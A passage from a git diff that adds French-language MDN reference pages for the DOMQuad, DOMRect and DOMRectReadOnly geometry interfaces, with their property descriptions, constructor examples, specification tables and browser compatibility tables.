+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-dompointreadonly-z', 'z')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMPoint")}}</li>
+</ul>
diff --git a/files/fr/web/api/domquad/index.html b/files/fr/web/api/domquad/index.html
new file mode 100644
index 0000000000..a3a2112a66
--- /dev/null
+++ b/files/fr/web/api/domquad/index.html
@@ -0,0 +1,114 @@
+---
+title: DOMQuad
+slug: Web/API/DOMQuad
+tags:
+  - API
+  - Coordonnées
+  - DOM
+  - Géométrie
+  - Interfaces
+  - Quadrilatère
+  - dimensions
+translation_of: Web/API/DOMQuad
+---
+<p>{{SeeCompatTable}}{{APIRef("Geometry Interfaces")}}</p>
+
+<p>Un <code>DOMQuad</code> est une collection de 4 <code>DOMPoint</code> définissant les coins d'un quadrilatère arbitraire. Renvoyer des <code>DOMQuad</code> permet à <code>getBoxQuads()</code> de retourner des informations précises, même lorsque des transformations 2D ou 3D arbitraires sont présentes. Il possède un attribut <code>bounds</code> pratique qui retourne un <code>DOMRectReadOnly</code> pour les cas où vous voulez juste un rectangle de délimitation aligné sur l'axe.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("DOMQuad.DOMQuad()")}}</dt>
+ <dd>Crée un nouvel objet <code>DOMQuad</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>p1,p2,p3,p4 {{readonlyinline}}</dt>
+ <dd>sont des objets {{domxref("DOMPoint")}} pour chacun des 4 coins de l'objet<code> DOMQuad</code>.</dd>
+</dl>
+
+<h2 id="Méthode">Méthode</h2>
+
+<dl>
+ <dt>{{domxref("DOMQuad.fromRect()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>DOMQuad</code> basé sur l'ensemble de coordonnées fournit.</dd>
+ <dt>{{domxref("DOMQuad.fromQuad()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>DOMQuad</code> basé sur l'ensemble de coordonnées fournit.</dd>
+ <dt>{{domxref("DOMQuad.getBounds()")}}</dt>
+ <dd>Renvoie un objet {{domxref("DOMRect")}} avec les coordonnées et les dimensions de l'objet <code>DOMQuad</code>.</dd>
+ <dt>{{domxref("DOMQuad.toJSON()")}}</dt>
+ <dd>Renvoie une représentation JSON de l'objet <code>DOMQuad</code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces','#DOMQuad','DOMQuad')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/domrect/domrect/index.html b/files/fr/web/api/domrect/domrect/index.html
new file mode 100644
index 0000000000..146bcd6b43
--- /dev/null
+++ b/files/fr/web/api/domrect/domrect/index.html
@@ -0,0 +1,121 @@
+---
+title: DOMRect.DOMRect()
+slug: Web/API/DOMRect/DOMRect
+tags:
+  - API
+  - Constructeurs
+  - DOM
+  - Géométrie
+  - Rectangle
+translation_of: Web/API/DOMRect/DOMRect
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>Le constructeur <strong><code>DOMRect()</code></strong> crée un nouvel objet {{domxref("DOMRect")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var myDOMRect = new DOMRect(x, y, width, height);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>x</dt>
+ <dd>La coordonnée <code>x</code> de l'orginie du <code>DOMRect</code>.</dd>
+ <dt>y</dt>
+ <dd>La coordonnée <code>y</code> de l'origine du <code>DOMRect</code>.</dd>
+ <dt>width</dt>
+ <dd>La largeur du <code>DOMRect</code>.</dd>
+ <dt>height</dt>
+ <dd>La hauteur du <code>DOMRect</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour créer un nouveau <code>DOMPoint</code>, vous pouvez exécuter une ligne de code telle que celle-ci :</p>
+
+<pre class="brush: js">myDOMRect = new DOMRect(0,0,100,100);
+// l'exécution de 'myDOMRect' dans la console devrait alors renvoyer
+// DOMRect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 }
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-domrectreadonly-domrectreadonlyx-y-width-height', 'DOMRect()')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Andorid</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMPoint")}}</li>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrect/index.html b/files/fr/web/api/domrect/index.html
new file mode 100644
index 0000000000..4c63c7bc07
--- /dev/null
+++ b/files/fr/web/api/domrect/index.html
@@ -0,0 +1,89 @@
+---
+title: DOMRect
+slug: Web/API/DOMRect
+tags:
+  - API
+  - DOM
+  - Géométrie
+  - Objets
+  - Rectangle
+translation_of: Web/API/DOMRect
+---
+<p>{{draft}}{{APIRef("Geometry Interfaces")}}{{ SeeCompatTable() }}</p>
+
+<p>Un <strong><code>DOMRect</code></strong> représente un rectangle.</p>
+
+<p>Le type de boîte représenté par le <code>DOMRect</code> est spécifié par la méthode ou la propriété qui l'a retourné. Par exemple, {{domxref("VREyeParameters.renderRect")}} de l'API WebVR spécifie la fenêtre d'un élément <a href="https://developer.mozilla.org/fr/docs/Web/API/HTMLCanvasElement">canvas</a> dans laquelle le visuel pour un oeil doit être rendu.</p>
+
+<p>Il hérite de son parent {{domxref("DOMRectReadOnly")}}.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("DOMRect.DOMRect","DOMRect()")}}</dt>
+ <dd>Crée un nouvel objet <code>DOMRect</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+</dl>
+
+<p><em><code>DOMRect</code> hérite des propriétés de son parent {{domxref("DOMRectReadOnly")}}. À une différence près, elles ne sont plus en lecture seule.</em></p>
+
+<dl>
+ <dt>{{domxref("DOMRectReadOnly.x")}}</dt>
+ <dd>La coordonnée x de l'origine du <code>DOMRect</code>.</dd>
+ <dt>{{domxref("DOMRectReadOnly.y")}}</dt>
+ <dd>La coordonnée y de l'origine du <code>DOMRect</code>.</dd>
+ <dt>{{domxref("DOMRectReadOnly.width")}}</dt>
+ <dd>La largeur du <code>DOMRect</code>.</dd>
+ <dt>{{domxref("DOMRectReadOnly.height")}}</dt>
+ <dd>La hauteur du <code>DOMRect</code>.</dd>
+ <dt>{{domxref("DOMRectReadOnly.top")}}</dt>
+ <dd>Renvoie la valeur de la coordonnée supérieure de <code>DOMRect</code> (a la même valeur que <code>y</code>, ou <code>y + height</code> <em>(y + hauteur)</em> si <code>height</code> est négative).</dd>
+ <dt>{{domxref("DOMRectReadOnly.right")}}</dt>
+ <dd>Renvoie la valeur de la coordonnée droite du <code>DOMRect</code> (a la même valeur que  <code>x + width</code> <em>(x + largeur)</em>, ou <code>x</code> si <code>width</code> est négative).</dd>
+ <dt>{{domxref("DOMRectReadOnly.bottom")}}</dt>
+ <dd>Renvoie la valeur de la coordonnée du bas du <code>DOMRect</code> (a la même valeur que  <code>y + height</code> <em>(y + hauteur)</em>, ou <code>y</code> si <code>height</code> est négative).</dd>
+ <dt>{{domxref("DOMRectReadOnly.left")}}</dt>
+ <dd>Renvoie la valeur de la coordonnée de gauche du <code>DOMRect</code> (a la même valeur que <code>x</code>, ou <code>x + width</code> <em>(x + largeur)</em> si <code>width</code> est négative).</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em><code>DOMRect</code> hérite des méthodes de son parent {{domxref("DOMRectReadOnly")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("DOMRectReadOnly.fromRect()")}}</dt>
+ <dd>Crée un nouvel objet <code>DOMRect</code> avec l'emplacement et les dimensions données.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#DOMRect', 'DOMRect')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.DOMRect")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMPoint")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrectreadonly/bottom/index.html b/files/fr/web/api/domrectreadonly/bottom/index.html
new file mode 100644
index 0000000000..25b0e2baf6
--- /dev/null
+++ b/files/fr/web/api/domrectreadonly/bottom/index.html
@@ -0,0 +1,105 @@
+---
+title: DOMRectReadOnly.bottom
+slug: Web/API/DOMRectReadOnly/bottom
+tags:
+  - API
+  - Bas
+  - DOM
+  - Géométrie
+  - Propriétés
+  - Rectangle
+translation_of: Web/API/DOMRectReadOnly/bottom
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>bottom</strong></code> d'une interface <strong><code>DOMRectReadOnly</code></strong> renvoie la valeur des coordonnées du pied du <code>DOMRect</code> (a la même valeur que <code>y + height</code> <em>(y + hauteur)</em>, ou <code>y</code> si <code>height</code> est négative).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var recBottom = DOMRect.bottom;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-domrectreadonly-bottom', 'bottom')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrectreadonly/domrectreadonly/index.html b/files/fr/web/api/domrectreadonly/domrectreadonly/index.html
new file mode 100644
index 0000000000..dbbc58d738
--- /dev/null
+++ b/files/fr/web/api/domrectreadonly/domrectreadonly/index.html
@@ -0,0 +1,122 @@
+---
+title: DOMRectReadOnly()
+slug: Web/API/DOMRectReadOnly/DOMRectReadOnly
+tags:
+  - API
+  - Constructeurs
+  - DOM
+  - Géométrie
+  - Rectangle
+translation_of: Web/API/DOMRectReadOnly/DOMRectReadOnly
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable }}</p>
+
+<p>Le constructeur <strong><code>DOMRectReadOnly()</code></strong> crée un nouvel objet {{domxref("DOMRectReadOnly")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var myDOMRectReadOnly = new DOMRectReadOnly(x, y, width, height);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>x</dt>
+ <dd>La coordonnée <code>x</code> de l'origine d'un <code>DOMRectReadOnly</code>.</dd>
+ <dt>y</dt>
+ <dd>La coordonnée <code>y</code> de l'origine d'un <code>DOMRectReadOnly</code>.</dd>
+ <dt>width</dt>
+ <dd>La largeur d'un <code>DOMRectReadOnly</code>.</dd>
+ <dt>height</dt>
+ <dd>La hauteur d'un <code>DOMRectReadOnly</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour créer un nouveau <code>DOMPoint</code>, vous pouvez exécuter une ligne de code comme celle-ci :</p>
+
+<pre class="brush: js">myDOMRect = new DOMRectReadOnly(0,0,100,100);
+// l'exécution de 'myDOMRect' dans la console devrait alors renvoyer
+// DOMRect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#DOMRect', 'DOMRect()')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Andorid</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Edge Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMPoint")}}</li>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrectreadonly/height/index.html b/files/fr/web/api/domrectreadonly/height/index.html
new file mode 100644
index 0000000000..56e8940710
--- /dev/null
+++ b/files/fr/web/api/domrectreadonly/height/index.html
@@ -0,0 +1,105 @@
+---
+title: DOMRectReadOnly.height
+slug: Web/API/DOMRectReadOnly/height
+tags:
+  - API
+  - DOM
+  - Géométrie
+  - Hauteur
+  - Propriétés
+  - Rectangle
+translation_of: Web/API/DOMRectReadOnly/height
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <strong><code>height</code></strong> de l'interface of the <strong><code>DOMRectReadOnly</code></strong> représente la hauteur du <code>DOMRect</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var recHeight = DOMRect.height;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-domrectreadonly-height', 'height')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrectreadonly/index.html b/files/fr/web/api/domrectreadonly/index.html
new file mode 100644
index 0000000000..ca5100b338
--- /dev/null
+++ b/files/fr/web/api/domrectreadonly/index.html
@@ -0,0 +1,84 @@
+---
+title: DOMRectReadOnly
+slug: Web/API/DOMRectReadOnly
+tags:
+  - API
+  - DOM Reference
+  - DOMRectReadOnly
+  - Experimental
+  - Geometry
+  - Rectangle
+  - Reference
+  - TopicStub
+translation_of: Web/API/DOMRectReadOnly
+---
+<p>{{draft}}{{APIRef("Geometry Interfaces")}}{{ SeeCompatTable() }}</p>
+
+<p>L'interface <strong><code>DOMRectReadOnly</code></strong> spécifie les propriétés standard utilisées par {{domxref("DOMRect")}} pour définir un rectangle.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("DOMRectReadOnly.DOMRectReadOnly","DOMRectReadOnly()")}}</dt>
+ <dd>Défini pour créer un nouvel objet <code>DOMRectReadOnly</code>, mais notez que ce constructeur ne peut pas être appelé par JavaScript tiers: cela renvoie une erreur de type "Constructeur illégal".</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>{{domxref("DOMRectReadOnly.x")}} {{readonlyInline}}</dt>
+ <dd>La coordonnée x de l'origine du <code>DOMRect</code>.</dd>
+ <dt>{{domxref("DOMRectReadOnly.y")}} {{readonlyInline}}</dt>
+ <dd>La coordonnée y de l'origine du <code>DOMRect</code>.</dd>
+ <dt>{{domxref("DOMRectReadOnly.width")}} {{readonlyInline}}</dt>
+ <dd>La largeur du <code>DOMRect</code>.</dd>
+ <dt>{{domxref("DOMRectReadOnly.height")}} {{readonlyInline}}</dt>
+ <dd>La hauteur du <code>DOMRect</code>.</dd>
+ <dt>{{domxref("DOMRectReadOnly.top")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la valeur de coordonnée supérieur du <code>DOMRect</code> (généralement la même que <code>y</code>).</dd>
+ <dt>{{domxref("DOMRectReadOnly.right")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la valeur de coordonnée droite du <code>DOMRect</code> (généralement identique à <code>x + largeur</code>).</dd>
+ <dt>{{domxref("DOMRectReadOnly.bottom")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la valeur de coordonnée inférieur du <code>DOMRect</code> (généralement la même que <code>y + hauteur</code>).</dd>
+ <dt>{{domxref("DOMRectReadOnly.left")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la valeur de coordonnée gauche du <code>DOMRect</code> (généralement la même que <code>x</code>).</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("DOMRectReadOnly.fromRect()")}}</dt>
+ <dd>Crée un nouvel objet <code>DOMRect</code> avec un emplacement et des dimensions donnés.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#DOMRect', 'DOMRectReadOnly')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.DOMRectReadOnly")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMPoint")}}</li>
+</ul>
diff --git a/files/fr/web/api/domrectreadonly/left/index.html b/files/fr/web/api/domrectreadonly/left/index.html
new file mode 100644
index 0000000000..f74b8ec46a
--- /dev/null
+++ b/files/fr/web/api/domrectreadonly/left/index.html
@@ -0,0 +1,105 @@
+---
+title: DOMRectReadOnly.left
+slug: Web/API/DOMRectReadOnly/left
+tags:
+  - API
+  - DOM
+  - Gauche
+  - Géométrie
+  - Propriétés
+  - Rectangle
+translation_of: Web/API/DOMRectReadOnly/left
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>left</strong></code> de l'interface <strong><code>DOMRectReadOnly</code></strong> renvoie la valeur de la coordonnée gauche du <code>DOMRect</code> (a la même valeur que <code>x</code>, ou <code>x + width</code><em> (x + largeur)</em> si <code>width</code> est négative).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var recLeft = DOMRect.left;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-domrectreadonly-left', 'left')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
